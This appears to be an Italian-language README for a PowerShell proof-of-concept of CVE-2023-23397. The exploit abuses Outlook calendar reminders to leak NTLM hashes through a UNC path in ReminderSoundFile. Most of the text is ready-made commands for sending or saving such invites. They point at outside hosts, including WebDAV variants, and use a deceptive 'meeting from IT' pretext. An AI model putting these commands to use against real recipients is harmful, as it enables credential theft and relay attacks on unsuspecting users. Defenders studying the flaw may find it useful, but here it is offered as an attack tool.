
Prova di concetto in PowerShell per CVE-2023-23397, che sfrutta i promemoria del calendario di Outlook per far trapelare hash NTLM tramite iniezione di percorso UNC per la raccolta di credenziali.
Script con funzioni per inviare o salvare il leak NTLM del calendario utilizzando l'opzione ReminderSoundFile. Esegui lo script per caricare le funzioni in PowerShell, poi puoi usare gli esempi seguenti come punto di partenza per utilizzare le funzioni. Richiede l'esecuzione su un computer Windows con Outlook installato poiché utilizza l'oggetto COM di Outlook per inviare email. Nota che invierà l'email dall'account email associato a Outlook. Le funzioni attuali aggiungeranno l'ora di inizio della riunione al momento dell'esecuzione dello script e la imposteranno per durare 2 ore.
Invio:
Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\\10.10.10.10\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\\files.domain.com\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\\files.domain.com@80\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\\files.domain.com@SSL@443\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Salvataggio:
Save-CalendarNTLMLeak -remotefilepath "\\10.10.10.10\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com@80\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com@SSL@443\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Hack the Planet!